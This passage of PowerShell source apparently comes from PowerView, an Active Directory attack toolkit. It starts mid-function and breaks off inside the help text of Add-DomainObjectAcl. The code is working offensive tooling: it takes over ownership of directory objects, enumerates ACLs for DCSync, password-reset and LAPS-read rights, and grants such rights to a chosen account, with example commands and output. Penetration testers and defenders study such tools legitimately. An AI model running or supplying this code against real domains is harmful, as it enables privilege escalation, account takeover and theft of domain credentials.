New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType
|
|
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType
|
|
}
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Set-DomainObjectOwner {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Modifies the owner for a specified active directory object.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject
|
|
|
|
.DESCRIPTION
|
|
|
|
Retrieves the Active Directory object specified by -Identity by splatting to
|
|
Get-DomainObject, returning the raw searchresult object. Retrieves the raw
|
|
directoryentry for the object, and sets the object owner to -OwnerIdentity.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
of the AD object to set the owner for.
|
|
|
|
.PARAMETER OwnerIdentity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
of the owner to set for -Identity.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
|
|
|
|
Set the owner of 'dfm' in the current domain to 'harmj0y'.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred
|
|
|
|
Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String]
|
|
$Identity,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Owner')]
|
|
[String]
|
|
$OwnerIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
$OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid
|
|
if ($OwnerSid) {
|
|
$OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid
|
|
}
|
|
else {
|
|
Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($OwnerIdentityReference) {
|
|
$SearcherArguments['Raw'] = $True
|
|
$SearcherArguments['Identity'] = $Identity
|
|
|
|
# splat the appropriate arguments to Get-DomainObject
|
|
$RawObject = Get-DomainObject @SearcherArguments
|
|
|
|
ForEach ($Object in $RawObject) {
|
|
try {
|
|
Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"
|
|
$Entry = $RawObject.GetDirectoryEntry()
|
|
$Entry.PsBase.Options.SecurityMasks = 'Owner'
|
|
$Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
|
|
$Entry.PsBase.CommitChanges()
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainObjectAcl {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the ACLs associated with a specific active directory object. By default
|
|
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER Sacl
|
|
|
|
Switch. Return the SACL instead of the DACL for the object (default behavior).
|
|
|
|
.PARAMETER ResolveGUIDs
|
|
|
|
Switch. Resolve GUIDs to their display names.
|
|
|
|
.PARAMETER RightsFilter
|
|
|
|
A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
|
|
|
|
Get the ACLs for the matt.admin user in the testlab.local domain and
|
|
resolve relevant GUIDs to their display names.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
|
|
|
|
Enumerate the ACL permissions for all OUs in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
|
|
|
|
Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ACL
|
|
|
|
Custom PSObject with ACL entries.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ACL')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[Switch]
|
|
$Sacl,
|
|
|
|
[Switch]
|
|
$ResolveGUIDs,
|
|
|
|
[String]
|
|
[Alias('Rights')]
|
|
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'ReadLAPS')]
|
|
$RightsFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
|
|
}
|
|
|
|
if ($PSBoundParameters['Sacl']) {
|
|
$SearcherArguments['SecurityMasks'] = 'Sacl'
|
|
}
|
|
else {
|
|
$SearcherArguments['SecurityMasks'] = 'Dacl'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
$Searcher = Get-DomainSearcher @SearcherArguments
|
|
|
|
$DomainGUIDMapArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $DomainGUIDMapArguments['SSL'] = $SSL }
|
|
|
|
# get a GUID -> name mapping
|
|
if ($PSBoundParameters['ResolveGUIDs']) {
|
|
$GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($Searcher) {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^S-1-.*') {
|
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
|
}
|
|
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$Searcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $Searcher) {
|
|
Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
|
|
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
elseif ($IdentityInstance.Contains('.')) {
|
|
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
|
|
}
|
|
else {
|
|
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
if ($Filter) {
|
|
$Filter = "(&$Filter)"
|
|
}
|
|
Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Filter)"
|
|
|
|
#$Results = $Searcher.FindAll()
|
|
if ($Filter -and $Filter -ne '') {
|
|
$SearcherArguments['LDAPFilter'] = "$Filter"
|
|
}
|
|
$Results = Invoke-LDAPQuery @SearcherArguments
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Object = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
Write-Output "TEST: $a"
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) {
|
|
$Object[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Object[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Object = $_.Properties
|
|
}
|
|
|
|
|
|
if ($Object.objectsid -and $Object.objectsid[0]) {
|
|
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
|
|
}
|
|
else {
|
|
$ObjectSid = $Null
|
|
}
|
|
|
|
try {
|
|
$SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0
|
|
$SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
|
|
$Continue = $False
|
|
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
|
|
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
|
|
$_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
|
|
if ($PSBoundParameters['RightsFilter']) {
|
|
$GuidFilter = Switch ($RightsFilter) {
|
|
'ResetPassword' { @('00299570-246d-11d0-a768-00aa006e0529') }
|
|
'WriteMembers' { @('bf9679c0-0de6-11d0-a285-00aa003049e2') }
|
|
'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 'GenericAll', 'ExtendedRight') }
|
|
'AllExtended' { 'ExtendedRight' }
|
|
'ReadLAPS' { @('ExtendedRight', 'GenericAll', 'WriteDacl') }
|
|
'All' { 'GenericAll' }
|
|
Default { '00000000-0000-0000-0000-000000000000' }
|
|
}
|
|
if ($_.AceQualifier -eq 'AccessAllowed' -and (($_.ObjectAceType -and $GuidFilter -contains $_.ObjectAceType) -or ($_.InheritedObjectAceType -and $GuidFilter -contains $_.InheritedObjectAceType))) {
|
|
$Continue = $True
|
|
}
|
|
elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType) -and (($_.ActiveDirectoryRights -match $GuidFilter) -or ($GuidFilter -contains $_.ActiveDirectoryRights))) {
|
|
$Continue = $True
|
|
}
|
|
elseif (($_.AceQualifier -eq 'AccessAllowed') -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType)) {
|
|
ForEach ($Guid in $GuidFilter) {
|
|
if ($_.ActiveDirectoryRights -match $Guid) {
|
|
$Continue = $True
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Continue = $True
|
|
}
|
|
if ($Continue) {
|
|
if ($GUIDs) {
|
|
# if we're resolving GUIDs, map them them to the resolved hash table
|
|
$AclProperties = @{}
|
|
$_.psobject.properties | ForEach-Object {
|
|
if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
|
|
try {
|
|
$AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
|
|
}
|
|
catch {
|
|
$AclProperties[$_.Name] = $_.Value
|
|
}
|
|
}
|
|
else {
|
|
$AclProperties[$_.Name] = $_.Value
|
|
}
|
|
}
|
|
$OutObject = New-Object -TypeName PSObject -Property $AclProperties
|
|
$OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
|
|
$OutObject
|
|
}
|
|
else {
|
|
$_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainObjectAcl] Error: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Add-DomainObjectAcl {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Adds an ACL for a specific active directory object.
|
|
|
|
AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject
|
|
|
|
.DESCRIPTION
|
|
|
|
This function modifies the ACL/ACE entries for a given Active Directory
|
|
target object specified by -TargetIdentity. Available -Rights are
|
|
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
|
|
rights GUID can be set with -RightsGUID. These rights are granted on the target
|
|
object for the specified -PrincipalIdentity.
|
|
|
|
.PARAMETER TargetIdentity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
for the domain object to modify ACLs for. Required. Wildcards accepted.
|
|
|
|
.PARAMETER TargetDomain
|
|
|
|
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
|
|
|
|
.PARAMETER TargetLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory object targets.
|
|
|
|
.PARAMETER TargetSearchBase
|
|
|
|
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER PrincipalIdentity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
for the domain principal to add for the ACL. Required. Wildcards accepted.
|
|
|
|
.PARAMETER PrincipalDomain
|
|
|
|
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Rights
|
|
|
|
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
|
|
Defaults to 'All'.
|
|
|
|
.PARAMETER RightsGUID
|
|
|
|
Manual GUID representing the right to add to the target.
|
|
|
|
.EXAMPLE
|
|
|
|
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
|
|
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
|
|
|
|
...
|
|
|
|
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
|
|
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
|
|
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
|
|
|
|
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
|
|
|
|
AceQualifier : AccessAllowed
|
|
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
|
|
ActiveDirectoryRights : ExtendedRight
|
|
ObjectAceType : User-Force-Change-Password
|
|
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
|
|
InheritanceFlags : None
|
|
BinaryLength : 56
|
|
AceType : AccessAllowedObject
|
|
ObjectAceFlags : ObjectAceTypePresent
|
|
IsCallback : False
|
|
PropagationFlags : None
|
|
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
|
|
AccessMask : 256
|
|
AuditFlags : None
|
|
IsInherited : False
|
|
AceFlags : None
|
|
InheritedObjectAceType : All
|
|
OpaqueLength : 0
|
|
|
|
.EXAMPLE
|
|
|
|
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
|
|
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
|
|
|
|
[no results returned]
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
|
|
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
|
|
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
|
|
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
|
|
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
|
|
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
|
|
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
|
|
|
|
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
|
|
|
|
AceQualifier : AccessAllowed
|
|
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
|
|
ActiveDirectoryRights : ExtendedRight
|
|
ObjectAceType : User-Force-Change-Password
|
|
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
|
|
InheritanceFlags : None
|
|
BinaryLength : 56
|
|
AceType : AccessAllowedObject
|
|
ObjectAceFlags : ObjectAceTypePresent
|
|
IsCallback : False
|
|
PropagationFlags : None
|
|
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
|
|
AccessMask : 256
|
|
AuditFlags : None
|
|
IsInherited : False
|
|
AceFlags : None
|
|
InheritedObjectAceType : All
|
|
OpaqueLength : 0
|
|
|
|
.LINK
|
|
|
|
https://adsecurity.org/?p=1906
|
|
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
|
|
#>
|
|
|
|
